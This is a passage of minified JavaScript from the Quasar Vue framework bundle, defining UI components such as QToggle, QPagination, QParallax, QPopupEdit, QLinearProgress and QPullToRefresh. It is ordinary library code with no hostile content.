                        13 !== t.keyCode && 32 !== t.keyCode || S(t)
                    },
                    keyup: function(t) {
                        13 !== t.keyCode && 32 !== t.keyCode || e.set(t)
                    }
                })
            }, s)
        }
    })
      , No = t.extend({
        name: "QToggle",
        mixins: [Li],
        props: {
            icon: String,
            checkedIcon: String,
            uncheckedIcon: String,
            indeterminateIcon: String,
            iconColor: String
        },
        computed: {
            computedIcon: function() {
                return (!0 === this.isTrue ? this.checkedIcon : !0 === this.isIndeterminate ? this.indeterminateIcon : this.uncheckedIcon) || this.icon
            },
            computedIconColor: function() {
                if (!0 === this.isTrue)
                    return this.iconColor
            }
        },
        methods: {
            __getInner: function(t) {
                return [t("div", {
                    staticClass: "q-toggle__track"
                }), t("div", {
                    staticClass: "q-toggle__thumb absolute flex flex-center no-wrap"
                }, void 0 !== this.computedIcon ? [t(Et, {
                    props: {
                        name: this.computedIcon,
                        color: this.computedIconColor
                    }
                })] : void 0)]
            }
        },
        created: function() {
            this.type = "toggle"
        }
    })
      , Ho = {
        radio: Vo,
        checkbox: Bi,
        toggle: No
    }
      , Qo = Object.keys(Ho)
      , Wo = t.extend({
        name: "QOptionGroup",
        mixins: [Dt, Mt],
        props: {
            value: {
                required: !0
            },
            options: {
                type: Array,
                validator: function(t) {
                    return t.every(function(t) {
                        return "value"in t && "label"in t
                    })
                }
            },
            name: String,
            type: {
                default: "radio",
                validator: function(t) {
                    return Qo.includes(t)
                }
            },
            color: String,
            keepColor: Boolean,
            dense: Boolean,
            size: String,
            leftLabel: Boolean,
            inline: Boolean,
            disable: Boolean
        },
        computed: {
            component: function() {
                return Ho[this.type]
            },
            model: function() {
                return Array.isArray(this.value) ? this.value.slice() : this.value
            },
            classes: function() {
                return "q-option-group q-gutter-x-sm" + (!0 === this.inline ? " q-option-group--inline" : "")
            },
            attrs: function() {
                if ("radio" === this.type) {
                    var t = {
                        role: "radiogroup"
                    };
                    return !0 === this.disable && (t["aria-disabled"] = ""),
                    t
                }
            }
        },
        methods: {
            __update: function(t) {
                this.$emit("input", t)
            }
        },
        created: function() {
            var t = Array.isArray(this.value);
            "radio" === this.type ? t && console.error("q-option-group: model should not be array") : !1 === t && console.error("q-option-group: model should be array in your case")
        },
        render: function(t) {
            var e = this;
            return t("div", {
                class: this.classes,
                attrs: this.attrs,
                on: Object.assign({}, this.qListeners)
            }, this.options.map(function(i) {
                return t("div", [t(e.component, {
                    props: {
                        value: e.value,
                        val: i.value,
                        name: e.name || i.name,
                        disable: e.disable || i.disable,
                        label: i.label,
                        leftLabel: e.leftLabel || i.leftLabel,
                        color: i.color || e.color,
                        checkedIcon: i.checkedIcon,
                        uncheckedIcon: i.uncheckedIcon,
                        dark: i.dark || e.isDark,
                        size: i.size || e.size,
                        dense: e.dense,
                        keepColor: i.keepColor || e.keepColor
                    },
                    on: mt(e, "inp", {
                        input: e.__update
                    })
                })])
            }))
        }
    })
      , Yo = t.extend({
        name: "QPage",
        mixins: [Mt],
        inject: {
            pageContainer: {
                default: function() {
                    console.error("QPage needs to be child of QPageContainer")
                }
            },
            layout: {}
        },
        props: {
            padding: Boolean,
            styleFn: Function
        },
        computed: {
            style: function() {
                var t = (!0 === this.layout.header.space ? this.layout.header.size : 0) + (!0 === this.layout.footer.space ? this.layout.footer.size : 0);
                if ("function" == typeof this.styleFn) {
                    var e = !0 === this.layout.container ? this.layout.containerHeight : this.$q.screen.height;
                    return this.styleFn(t, e)
                }
                return {
                    minHeight: !0 === this.layout.container ? this.layout.containerHeight - t + "px" : 0 === this.$q.screen.height ? "calc(100vh - " + t + "px)" : this.$q.screen.height - t + "px"
                }
            },
            classes: function() {
                if (!0 === this.padding)
                    return "q-layout-padding"
            }
        },
        render: function(t) {
            return t("main", {
                staticClass: "q-page",
                style: this.style,
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , Uo = t.extend({
        name: "QPageContainer",
        mixins: [Mt],
        inject: {
            layout: {
                default: function() {
                    console.error("QPageContainer needs to be child of QLayout")
                }
            }
        },
        provide: {
            pageContainer: !0
        },
        computed: {
            style: function() {
                var t = {};
                return !0 === this.layout.header.space && (t.paddingTop = this.layout.header.size + "px"),
                !0 === this.layout.right.space && (t["padding" + (!0 === this.$q.lang.rtl ? "Left" : "Right")] = this.layout.right.size + "px"),
                !0 === this.layout.footer.space && (t.paddingBottom = this.layout.footer.size + "px"),
                !0 === this.layout.left.space && (t["padding" + (!0 === this.$q.lang.rtl ? "Right" : "Left")] = this.layout.left.size + "px"),
                t
            }
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-page-container",
                style: this.style,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , Ko = t.extend({
        name: "QPageSticky",
        mixins: [Mt],
        inject: {
            layout: {
                default: function() {
                    console.error("QPageSticky needs to be child of QLayout")
                }
            }
        },
        props: {
            position: {
                type: String,
                default: "bottom-right",
                validator: function(t) {
                    return ["top-right", "top-left", "bottom-right", "bottom-left", "top", "right", "bottom", "left"].includes(t)
                }
            },
            offset: {
                type: Array,
                validator: function(t) {
                    return 2 === t.length
                }
            },
            expand: Boolean
        },
        computed: {
            attach: function() {
                var t = this.position;
                return {
                    top: t.indexOf("top") > -1,
                    right: t.indexOf("right") > -1,
                    bottom: t.indexOf("bottom") > -1,
                    left: t.indexOf("left") > -1,
                    vertical: "top" === t || "bottom" === t,
                    horizontal: "left" === t || "right" === t
                }
            },
            top: function() {
                return this.layout.header.offset
            },
            right: function() {
                return this.layout.right.offset
            },
            bottom: function() {
                return this.layout.footer.offset
            },
            left: function() {
                return this.layout.left.offset
            },
            style: function() {
                var t = 0
                  , e = 0
                  , i = this.attach
                  , s = !0 === this.$q.lang.rtl ? -1 : 1;
                !0 === i.top && 0 !== this.top ? e = this.top + "px" : !0 === i.bottom && 0 !== this.bottom && (e = -this.bottom + "px"),
                !0 === i.left && 0 !== this.left ? t = s * this.left + "px" : !0 === i.right && 0 !== this.right && (t = -s * this.right + "px");
                var n = {
                    transform: "translate(" + t + ", " + e + ")"
                };
                return this.offset && (n.margin = this.offset[1] + "px " + this.offset[0] + "px"),
                !0 === i.vertical ? (0 !== this.left && (n[!0 === this.$q.lang.rtl ? "right" : "left"] = this.left + "px"),
                0 !== this.right && (n[!0 === this.$q.lang.rtl ? "left" : "right"] = this.right + "px")) : !0 === i.horizontal && (0 !== this.top && (n.top = this.top + "px"),
                0 !== this.bottom && (n.bottom = this.bottom + "px")),
                n
            },
            classes: function() {
                return "fixed-" + this.position + " q-page-sticky--" + (!0 === this.expand ? "expand" : "shrink")
            }
        },
        render: function(t) {
            var e = Lt(this, "default");
            return t("div", {
                staticClass: "q-page-sticky row flex-center",
                class: this.classes,
                style: this.style,
                on: Object.assign({}, this.qListeners)
            }, !0 === this.expand ? e : [t("div", e)])
        }
    })
      , Xo = t.extend({
        name: "QPageScroller",
        mixins: [Ko],
        props: {
            scrollOffset: {
                type: Number,
                default: 1e3
            },
            reverse: Boolean,
            duration: {
                type: Number,
                default: 300
            },
            offset: {
                default: function() {
                    return [18, 18]
                }
            }
        },
        inject: {
            layout: {
                default: function() {
                    console.error("QPageScroller needs to be used within a QLayout")
                }
            }
        },
        data: function() {
            return {
                showing: this.__isVisible()
            }
        },
        computed: {
            height: function() {
                return !0 === this.layout.container ? this.layout.containerHeight : this.layout.height
            },
            onEvents: function() {
                return Object.assign({}, this.qListeners, {
                    click: this.__onClick
                })
            }
        },
        watch: {
            "layout.scroll.position": function() {
                this.__updateVisibility()
            },
            reverse: {
                handler: function(t) {
                    !0 === t ? void 0 === this.heightWatcher && (this.heightWatcher = this.$watch("height", this.__updateVisibility)) : void 0 !== this.heightWatcher && this.__cleanup()
                },
                immediate: !0
            }
        },
        methods: {
            __isVisible: function() {
                return !0 === this.reverse ? this.height - this.layout.scroll.position > this.scrollOffset : this.layout.scroll.position > this.scrollOffset
            },
            __onClick: function(t) {
                Qe(!0 === this.layout.container ? De(this.$el) : De(this.layout.$el), !0 === this.reverse ? this.layout.height : 0, this.duration),
                this.$emit("click", t)
            },
            __updateVisibility: function() {
                var t = this.__isVisible();
                this.showing !== t && (this.showing = t)
            },
            __cleanup: function() {
                this.heightWatcher(),
                this.heightWatcher = void 0
            }
        },
        render: function(t) {
            return t("transition", {
                props: {
                    name: "q-transition--fade"
                }
            }, !0 === this.showing ? [t("div", {
                staticClass: "q-page-scroller",
                on: this.onEvents
            }, [Ko.options.render.call(this, t)])] : null)
        },
        beforeDestroy: function() {
            void 0 !== this.heightWatcher && this.__cleanup()
        }
    })
      , Go = t.extend({
        name: "QPagination",
        mixins: [Dt, Mt],
        props: {
            value: {
                type: Number,
                required: !0
            },
            min: {
                type: Number,
                default: 1
            },
            max: {
                type: Number,
                required: !0
            },
            color: {
                type: String,
                default: "primary"
            },
            textColor: String,
            inputStyle: [Array, String, Object],
            inputClass: [Array, String, Object],
            size: String,
            disable: Boolean,
            input: Boolean,
            iconPrev: String,
            iconNext: String,
            iconFirst: String,
            iconLast: String,
            toFn: Function,
            boundaryLinks: {
                type: Boolean,
                default: null
            },
            boundaryNumbers: {
                type: Boolean,
                default: null
            },
            directionLinks: {
                type: Boolean,
                default: null
            },
            ellipses: {
                type: Boolean,
                default: null
            },
            maxPages: {
                type: Number,
                default: 0,
                validator: function(t) {
                    return t >= 0
                }
            },
            ripple: {
                type: [Boolean, Object],
                default: null
            }
        },
        data: function() {
            return {
                newPage: null
            }
        },
        watch: {
            min: function() {
                this.model = this.value
            },
            max: function() {
                this.model = this.value
            }
        },
        computed: {
            model: {
                get: function() {
                    return this.value
                },
                set: function(t) {
                    if (t = parseInt(t, 10),
                    !this.disable && !isNaN(t) && 0 !== t) {
                        var e = ht(t, this.min, this.max);
                        this.$emit("input", e)
                    }
                }
            },
            inputPlaceholder: function() {
                return this.model + " / " + this.max
            },
            __boundaryLinks: function() {
                return this.__getBool(this.boundaryLinks, this.input)
            },
            __boundaryNumbers: function() {
                return this.__getBool(this.boundaryNumbers, !this.input)
            },
            __directionLinks: function() {
                return this.__getBool(this.directionLinks, this.input)
            },
            __ellipses: function() {
                return this.__getBool(this.ellipses, !this.input)
            },
            icons: function() {
                var t = [this.iconFirst || this.$q.iconSet.pagination.first, this.iconPrev || this.$q.iconSet.pagination.prev, this.iconNext || this.$q.iconSet.pagination.next, this.iconLast || this.$q.iconSet.pagination.last];
                return !0 === this.$q.lang.rtl ? t.reverse() : t
            },
            attrs: function() {
                if (!0 === this.disable)
                    return {
                        "aria-disabled": ""
                    }
            },
            btnProps: function() {
                return {
                    color: this.color,
                    flat: !0,
                    size: this.size,
                    ripple: null === this.ripple || this.ripple
                }
            }
        },
        methods: {
            set: function(t) {
                this.model = t
            },
            setByOffset: function(t) {
                this.model = this.model + t
            },
            __update: function() {
                this.model = this.newPage,
                this.newPage = null
            },
            __getBool: function(t, e) {
                return [!0, !1].includes(t) ? t : e
            },
            __getBtn: function(t, e, i, s) {
                var n = this;
                return e.props = Object.assign({}, this.btnProps, i),
                void 0 !== s && (void 0 !== this.toFn ? e.props.to = this.toFn(s) : e.on = {
                    click: function() {
                        return n.set(s)
                    }
                }),
                t(be, e)
            }
        },
        render: function(t) {
            var e = this
              , i = []
              , s = []
              , n = [];
            if (this.__boundaryLinks && (i.push(this.__getBtn(t, {
                key: "bls"
            }, {
                disable: this.disable || this.value <= this.min,
                icon: this.icons[0]
            }, this.min)),
            s.unshift(this.__getBtn(t, {
                key: "ble"
            }, {
                disable: this.disable || this.value >= this.max,
                icon: this.icons[3]
            }, this.max))),
            this.__directionLinks && (i.push(this.__getBtn(t, {
                key: "bdp"
            }, {
                disable: this.disable || this.value <= this.min,
                icon: this.icons[1]
            }, this.value - 1)),
            s.unshift(this.__getBtn(t, {
                key: "bdn"
            }, {
                disable: this.disable || this.value >= this.max,
                icon: this.icons[2]
            }, this.value + 1))),
            !0 === this.input)
                n.push(t(Fn, {
                    staticClass: "inline",
                    style: {
                        width: this.inputPlaceholder.length / 1.5 + "em"
                    },
                    props: {
                        type: "number",
                        dense: !0,
                        value: this.newPage,
                        disable: this.disable,
                        dark: this.isDark,
                        borderless: !0,
                        inputClass: this.inputClass,
                        inputStyle: this.inputStyle
                    },
                    attrs: {
                        placeholder: this.inputPlaceholder,
                        min: this.min,
                        max: this.max
                    },
                    on: mt(this, "inp", {
                        input: function(t) {
                            e.newPage = t
                        },
                        keyup: function(t) {
                            !0 === tt(t, 13) && e.__update()
                        },
                        blur: this.__update
                    })
                }));
            else {
                var o = Math.max(this.maxPages, 1 + (this.__ellipses ? 2 : 0) + (this.__boundaryNumbers ? 2 : 0))
                  , r = this.min
                  , a = this.max
                  , l = !1
                  , c = !1
                  , u = !1
                  , h = !1;
                this.maxPages && o < this.max - this.min + 1 && (o = 1 + 2 * Math.floor(o / 2),
                r = Math.max(this.min, Math.min(this.max - o + 1, this.value - Math.floor(o / 2))),
                a = Math.min(this.max, r + o - 1),
                this.__boundaryNumbers && (u = !0,
                r += 1),
                this.__ellipses && r > this.min + (this.__boundaryNumbers ? 1 : 0) && (l = !0,
                r += 1),
                this.__boundaryNumbers && (h = !0,
                a -= 1),
                this.__ellipses && a < this.max - (this.__boundaryNumbers ? 1 : 0) && (c = !0,
                a -= 1));
                var d = {
                    minWidth: Math.max(2, String(this.max).length) + "em"
                };
                if (u) {
                    var p = this.min === this.value;
                    i.push(this.__getBtn(t, {
                        key: "bns",
                        style: d
                    }, {
                        disable: this.disable,
                        flat: !p,
                        textColor: p ? this.textColor : null,
                        label: this.min
                    }, this.min))
                }
                if (h) {
                    var f = this.max === this.value;
                    s.unshift(this.__getBtn(t, {
                        key: "bne",
                        style: d
                    }, {
                        disable: this.disable,
                        flat: !f,
                        textColor: f ? this.textColor : null,
                        label: this.max
                    }, this.max))
                }
                l && i.push(this.__getBtn(t, {
                    key: "bes",
                    style: d
                }, {
                    disable: this.disable,
                    label: "…",
                    ripple: !1
                }, r - 1)),
                c && s.unshift(this.__getBtn(t, {
                    key: "bee",
                    style: d
                }, {
                    disable: this.disable,
                    label: "…",
                    ripple: !1
                }, a + 1));
                for (var m = r; m <= a; m++) {
                    var v = m === this.value;
                    n.push(this.__getBtn(t, {
                        key: "bpg" + m,
                        style: d
                    }, {
                        disable: this.disable,
                        flat: !v,
                        textColor: v ? this.textColor : null,
                        label: m
                    }, m))
                }
            }
            return t("div", {
                staticClass: "q-pagination row no-wrap items-center",
                class: {
                    disabled: this.disable
                },
                attrs: this.attrs,
                on: Object.assign({}, this.qListeners)
            }, [i, t("div", {
                staticClass: "row justify-center",
                on: !0 === this.input ? mt(this, "stop", {
                    input: y
                }) : null
            }, [n]), s])
        }
    });
    function Zo(t) {
        var e, i, s = !1;
        function n() {
            var n = this;
            i = arguments,
            !0 !== s && (s = !0,
            e = requestAnimationFrame(function() {
                t.apply(n, i),
                i = void 0,
                s = !1
            }))
        }
        return n.cancel = function() {
            window.cancelAnimationFrame(e),
            s = !1
        }
        ,
        n
    }
    var Jo = d.passive
      , tr = t.extend({
        name: "QParallax",
        mixins: [Mt],
        props: {
            src: String,
            height: {
                type: Number,
                default: 500
            },
            speed: {
                type: Number,
                default: 1,
                validator: function(t) {
                    return t >= 0 && t <= 1
                }
            },
            scrollTarget: {
                default: void 0
            }
        },
        data: function() {
            return {
                scrolling: !1,
                percentScrolled: 0
            }
        },
        watch: {
            height: function() {
                !0 === this.working && this.__updatePos()
            },
            scrollTarget: function() {
                !0 === this.working && (this.__stop(),
                this.__start())
            }
        },
        methods: {
            __update: function(t) {
                this.percentScrolled = t,
                void 0 !== this.qListeners.scroll && this.$emit("scroll", t)
            },
            __updatePos: function() {
                var t, e, i;
                this.__scrollTarget === window ? (t = 0,
                i = e = window.innerHeight) : i = (t = Xt(this.__scrollTarget).top) + (e = Gt(this.__scrollTarget));
                var s = Xt(this.$el).top
                  , n = s + this.height;
                if (void 0 !== this.observer || n > t && s < i) {
                    var o = (i - s) / (this.height + e);
                    this.__setPos((this.mediaHeight - this.height) * o * this.speed),
                    this.__update(o)
                }
            },
            __setPos: function(t) {
                this.media.style.transform = "translate3D(-50%," + Math.round(t) + "px, 0)"
            },
            __onResize: function() {
                this.mediaHeight = this.media.naturalHeight || this.media.videoHeight || Gt(this.media),
                !0 === this.working && this.__updatePos()
            },
            __start: function() {
                this.working = !0,
                this.__scrollTarget = De(this.$el, this.scrollTarget),
                this.__scrollTarget.addEventListener("scroll", this.__updatePos, Jo),
                window.addEventListener("resize", this.__resizeHandler, Jo),
                this.__updatePos()
            },
            __stop: function() {
                !0 === this.working && (this.working = !1,
                this.__scrollTarget.removeEventListener("scroll", this.__updatePos, Jo),
                window.removeEventListener("resize", this.__resizeHandler, Jo),
                this.__scrollTarget = void 0)
            }
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-parallax",
                style: {
                    height: this.height + "px"
                },
                on: Object.assign({}, this.qListeners)
            }, [t("div", {
                ref: "mediaParent",
                staticClass: "q-parallax__media absolute-full"
            }, void 0 !== this.$scopedSlots.media ? this.$scopedSlots.media() : [t("img", {
                ref: "media",
                attrs: {
                    src: this.src
                }
            })]), t("div", {
                staticClass: "q-parallax__content absolute-full column flex-center"
            }, void 0 !== this.$scopedSlots.content ? this.$scopedSlots.content({
                percentScrolled: this.percentScrolled
            }) : Lt(this, "default"))])
        },
        mounted: function() {
            var t = this;
            this.__setPos = Zo(this.__setPos),
            this.__update = Zo(this.__update),
            this.__resizeHandler = Zo(this.__onResize),
            this.media = void 0 !== this.$scopedSlots.media ? this.$refs.mediaParent.children[0] : this.$refs.media,
            this.media.onload = this.media.onloadstart = this.media.loadedmetadata = this.__onResize,
            this.__onResize(),
            this.media.style.display = "initial",
            void 0 !== window.IntersectionObserver ? (this.observer = new IntersectionObserver(function(e) {
                t[!0 === e[0].isIntersecting ? "__start" : "__stop"]()
            }
            ),
            this.observer.observe(this.$el)) : this.__start()
        },
        beforeDestroy: function() {
            this.__stop(),
            void 0 !== this.observer && this.observer.disconnect(),
            this.media.onload = this.media.onloadstart = this.media.loadedmetadata = null
        }
    });
    function er(t) {
        var e = JSON.stringify(t);
        if (e)
            return JSON.parse(e)
    }
    var ir = t.extend({
        name: "QPopupEdit",
        mixins: [_t],
        props: {
            value: {
                required: !0
            },
            title: String,
            buttons: Boolean,
            labelSet: String,
            labelCancel: String,
            color: {
                type: String,
                default: "primary"
            },
            validate: {
                type: Function,
                default: function() {
                    return !0
                }
            },
            autoSave: Boolean,
            cover: {
                type: Boolean,
                default: !0
            },
            contentClass: String,
            disable: Boolean
        },
        data: function() {
            return {
                initialValue: ""
            }
        },
        computed: {
            classes: function() {
                return "q-popup-edit" + (void 0 !== this.contentClass ? " " + this.contentClass : "")
            },
            defaultSlotScope: function() {
                return {
                    initialValue: this.initialValue,
                    value: this.value,
                    emitValue: this.__emitValue,
                    validate: this.validate,
                    set: this.set,
                    cancel: this.cancel
                }
            },
            menuProps: function() {
                return Object.assign({}, this.qAttrs, {
                    cover: this.cover,
                    contentClass: this.classes
                })
            }
        },
        methods: {
            set: function() {
                if (!0 === this.__hasChanged()) {
                    if (!1 === this.validate(this.value))
                        return;
                    this.$emit("save", this.value, this.initialValue)
                }
                this.__close()
            },
            cancel: function() {
                !0 === this.__hasChanged() && (this.$emit("input", this.initialValue),
                this.$emit("cancel", this.value, this.initialValue)),
                this.__close()
            },
            show: function(t) {
                void 0 !== this.$refs.menu && this.$refs.menu.show(t)
            },
            hide: function(t) {
                void 0 !== this.$refs.menu && this.$refs.menu.hide(t)
            },
            __hasChanged: function() {
                return !1 === wi(this.value, this.initialValue)
            },
            __emitValue: function(t) {
                !0 !== this.disable && this.$emit("input", t)
            },
            __close: function() {
                this.validated = !0,
                !0 === this.$refs.menu.showing && this.$refs.menu.hide()
            },
            __reposition: function() {
                var t = this;
                this.$nextTick(function() {
                    t.$refs.menu.updatePosition()
                })
            },
            __getContent: function(t) {
                var e = Lt(this, "title", this.title)
                  , i = void 0 === this.$scopedSlots.default ? [] : this.$scopedSlots.default(this.defaultSlotScope).slice();
                return e && i.unshift(t("div", {
                    staticClass: "q-dialog__title q-mt-sm q-mb-sm"
                }, [e])),
                !0 === this.buttons && i.push(t("div", {
                    staticClass: "q-popup-edit__buttons row justify-center no-wrap"
                }, [t(be, {
                    props: {
                        flat: !0,
                        color: this.color,
                        label: this.labelCancel || this.$q.lang.label.cancel
                    },
                    on: mt(this, "cancel", {
                        click: this.cancel
                    })
                }), t(be, {
                    props: {
                        flat: !0,
                        color: this.color,
                        label: this.labelSet || this.$q.lang.label.set
                    },
                    on: mt(this, "ok", {
                        click: this.set
                    })
                })])),
                i
            }
        },
        render: function(t) {
            var e = this;
            if (!0 !== this.disable)
                return t(oi, {
                    ref: "menu",
                    props: this.menuProps,
                    on: mt(this, "menu", {
                        "before-show": function() {
                            e.validated = !1,
                            e.initialValue = er(e.value),
                            e.watcher = e.$watch("value", e.__reposition),
                            e.$emit("before-show")
                        },
                        show: function() {
                            e.$emit("show")
                        },
                        "escape-key": this.cancel,
                        "before-hide": function() {
                            e.watcher(),
                            !1 === e.validated && !0 === e.__hasChanged() && (!0 === e.autoSave && !0 === e.validate(e.value) ? e.$emit("save", e.value, e.initialValue) : (e.$emit("cancel", e.value, e.initialValue),
                            e.$emit("input", e.initialValue))),
                            e.$emit("before-hide")
                        },
                        hide: function() {
                            e.$emit("hide")
                        },
                        keyup: function(t) {
                            !0 === tt(t, 13) && e.set()
                        }
                    })
                }, this.__getContent(t))
        }
    })
      , sr = t.extend({
        name: "QPopupProxy",
        mixins: [_t, Mt, Se],
        props: {
            breakpoint: {
                type: [String, Number],
                default: 450
            }
        },
        data: function() {
            var t = parseInt(this.breakpoint, 10);
            return {
                type: this.$q.screen.width < t || this.$q.screen.height < t ? "dialog" : "menu"
            }
        },
        computed: {
            parsedBreakpoint: function() {
                return parseInt(this.breakpoint, 10)
            },
            onEvents: function() {
                return Object.assign({}, this.qListeners, {
                    hide: this.__onHide
                })
            }
        },
        watch: {
            "$q.screen.width": function(t) {
                !0 !== this.$refs.popup.showing && this.__updateType(t, this.$q.screen.height, this.parsedBreakpoint)
            },
            "$q.screen.height": function(t) {
                !0 !== this.$refs.popup.showing && this.__updateType(this.$q.screen.width, t, this.parsedBreakpoint)
            },
            breakpoint: function(t) {
                !0 !== this.$refs.popup.showing && this.__updateType(this.$q.screen.width, this.$q.screen.height, parseInt(t, 10))
            }
        },
        methods: {
            toggle: function(t) {
                this.$refs.popup.toggle(t)
            },
            show: function(t) {
                this.$refs.popup.show(t)
            },
            hide: function(t) {
                this.$refs.popup.hide(t)
            },
            __onHide: function(t) {
                this.__updateType(this.$q.screen.width, this.$q.screen.height, this.parsedBreakpoint),
                this.$emit("hide", t)
            },
            __updateType: function(t, e, i) {
                var s = t < i || e < i ? "dialog" : "menu";
                this.type !== s && (this.type = s)
            }
        },
        render: function(t) {
            var e, i = Lt(this, "default"), s = "menu" === this.type && void 0 !== i && void 0 !== i[0] && void 0 !== i[0].componentOptions && void 0 !== i[0].componentOptions.Ctor && void 0 !== i[0].componentOptions.Ctor.sealedOptions && ["QDate", "QTime", "QCarousel", "QColor"].includes(i[0].componentOptions.Ctor.sealedOptions.name) ? {
                cover: !0,
                maxHeight: "99vh"
            } : {}, n = {
                ref: "popup",
                props: Object.assign({}, s, this.qAttrs),
                on: this.onEvents
            };
            return "dialog" === this.type ? e = pn : (e = oi,
            n.props.target = this.target,
            n.props.contextMenu = this.contextMenu,
            n.props.noParentEvent = !0,
            n.props.separateClosePopup = !0),
            t(e, n, i)
        }
    });
    function nr(t, e) {
        return !0 === e ? {
            transform: "translateX(100%) scale3d(" + -t + ",1,1)"
        } : {
            transform: "scale3d(" + t + ",1,1)"
        }
    }
    var or = t.extend({
        name: "QLinearProgress",
        mixins: [Mt, Dt, qt({
            xs: 2,
            sm: 4,
            md: 6,
            lg: 10,
            xl: 14
        })],
        props: {
            value: {
                type: Number,
                default: 0
            },
            buffer: Number,
            color: String,
            trackColor: String,
            reverse: Boolean,
            stripe: Boolean,
            indeterminate: Boolean,
            query: Boolean,
            rounded: Boolean,
            instantFeedback: Boolean
        },
        computed: {
            motion: function() {
                return !0 === this.indeterminate || !0 === this.query
            },
            classes: function() {
                return "q-linear-progress" + (void 0 !== this.color ? " text-" + this.color : "") + (!0 === this.reverse || !0 === this.query ? " q-linear-progress--reverse" : "") + (!0 === this.rounded ? " rounded-borders" : "")
            },
            trackStyle: function() {
                return nr(void 0 !== this.buffer ? this.buffer : 1, this.reverse)
            },
            trackClass: function() {
                return "q-linear-progress__track--with" + (!0 === this.instantFeedback ? "out" : "") + "-transition q-linear-progress__track--" + (!0 === this.isDark ? "dark" : "light") + (void 0 !== this.trackColor ? " bg-" + this.trackColor : "")
            },
            modelStyle: function() {
                return nr(!0 === this.motion ? 1 : this.value, this.reverse)
            },
            modelClasses: function() {
                return "q-linear-progress__model--with" + (!0 === this.instantFeedback ? "out" : "") + "-transition q-linear-progress__model--" + (!0 === this.motion ? "in" : "") + "determinate"
            },
            stripeStyle: function() {
                return {
                    width: 100 * this.value + "%"
                }
            },
            attrs: function() {
                return {
                    role: "progressbar",
                    "aria-valuemin": 0,
                    "aria-valuemax": 1,
                    "aria-valuenow": !0 === this.indeterminate ? void 0 : this.value
                }
            }
        },
        render: function(t) {
            var e = [t("div", {
                staticClass: "q-linear-progress__track absolute-full",
                style: this.trackStyle,
                class: this.trackClass
            }), t("div", {
                staticClass: "q-linear-progress__model absolute-full",
                style: this.modelStyle,
                class: this.modelClasses
            })];
            return !0 === this.stripe && !1 === this.motion && e.push(t("div", {
                staticClass: "q-linear-progress__stripe absolute-full",
                style: this.stripeStyle
            })),
            t("div", {
                style: this.sizeStyle,
                class: this.classes,
                attrs: this.attrs,
                on: Object.assign({}, this.qListeners)
            }, Pt(e, this, "default"))
        }
    })
      , rr = t.extend({
        name: "QPullToRefresh",
        mixins: [Mt],
        directives: {
            TouchPan: Qi
        },
        props: {
            color: String,
            bgColor: String,
            icon: String,
            noMouse: Boolean,
            disable: Boolean,
            scrollTarget: {
                default: void 0
            }
        },
        data: function() {
            return {
                state: "pull",
                pullRatio: 0,
                pulling: !1,
                pullPosition: -40,
                animating: !1,
                positionCSS: {}
            }
        },
        computed: {
            style: function() {
                return {
                    opacity: this.pullRatio,
                    transform: "translateY(" + this.pullPosition + "px) rotate(" + 360 * this.pullRatio + "deg)"
                }
            },
            classes: function() {
                return "q-pull-to-refresh__puller row flex-center" + (!0 === this.animating ? " q-pull-to-refresh__puller--animating" : "") + (void 0 !== this.bgColor ? " bg-" + this.bgColor : "")
            },
            directives: function() {
                if (!0 !== this.disable)
                    return [{
                        name: "touch-pan",
                        modifiers: {
                            down: !0,
                            mightPrevent: !0,
                            mouse: !0 !== this.noMouse
                        },
                        value: this.__pull
                    }]
            },
            contentClass: function() {
                return "q-pull-to-refresh__content" + (!0 === this.pulling ? " no-pointer-events" : "")
            }
        },
        watch: {
            scrollTarget: function() {
                this.updateScrollTarget()
            }
        },
        methods: {
            trigger: function() {
                var t = this;
                this.$emit("refresh", function() {
                    t.__animateTo({
                        pos: -40,
                        ratio: 0
                    }, function() {
                        t.state = "pull"
                    })
                })
            },
            updateScrollTarget: function() {
                this.__scrollTarget = De(this.$el, this.scrollTarget)
            },
            __pull: function(t) {
                if (!0 !== t.isFinal) {
                    if (!0 === this.animating || "refreshing" === this.state)
                        return !1;
                    if (!0 === t.isFirst) {
                        if (0 !== Ie(this.__scrollTarget))
                            return !0 === this.pulling && (this.pulling = !1,
                            this.state = "pull",
                            this.__animateTo({
                                pos: -40,
                                ratio: 0
                            })),
                            !1;
                        this.pulling = !0;
                        var e = this.$el.getBoundingClientRect()
                          , i = e.top
                          , s = e.left;
                        this.positionCSS = {
                            top: i + "px",
                            left: s + "px",
                            width: window.getComputedStyle(this.$el).getPropertyValue("width")
                        }
                    }
                    w(t.evt);
                    var n = Math.min(140, Math.max(0, t.distance.y));
                    this.pullPosition = n - 40,
                    this.pullRatio = ht(n / 60, 0, 1);
                    var o = this.pullPosition > 20 ? "pulled" : "pull";
                    this.state !== o && (this.state = o)
                } else
                    !0 === this.pulling && (this.pulling = !1,
                    "pulled" === this.state ? (this.state = "refreshing",
                    this.__animateTo({
                        pos: 20
                    }),
                    this.trigger()) : "pull" === this.state && this.__animateTo({
                        pos: -40,
                        ratio: 0
                    }))
            },
            __animateTo: function(t, e) {
                var i = this
                  , s = t.pos
                  , n = t.ratio;
                this.animating = !0,
                this.pullPosition = s,
                void 0 !== n && (this.pullRatio = n),
                clearTimeout(this.timer),
                this.timer = setTimeout(function() {
                    i.animating = !1,
                    e && e()
                }, 300)
            }
        },
        mounted: function() {
            this.updateScrollTarget()
        },
        beforeDestroy: function() {
            clearTimeout(this.timer)
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-pull-to-refresh",
                on: Object.assign({}, this.qListeners),
                directives: this.directives
            }, [t("div", {
                class: this.contentClass
            }, Lt(this, "default")), t("div", {
                staticClass: "q-pull-to-refresh__puller-container fixed row flex-center no-pointer-events z-top",
                style: this.positionCSS
            }, [t("div", {
                style: this.style,
                class: this.classes
            }, ["refreshing" !== this.state ? t(Et, {
                props: {
                    name: this.icon || this.$q.iconSet.pullToRefresh.icon,
                    color: this.color,
                    size: "32px"
                }
            }) : t(Kt, {
                props: {
                    size: "24px",
                    color: this.color
                }
            })])])])
        }
    })
      , ar = 0
      , lr = 1
      , cr = 2
      , ur = t.extend({
        name: "QRange",
        mixins: [Ki],
        props: {
            value: {
                type: Object,
                default: function() {
                    return {
                        min: null,
                        max: null
                    }
                },
                validator: function(t) {
                    return "min"in t && "max"in t
                }
            },
            name: String,
            dragRange: Boolean,
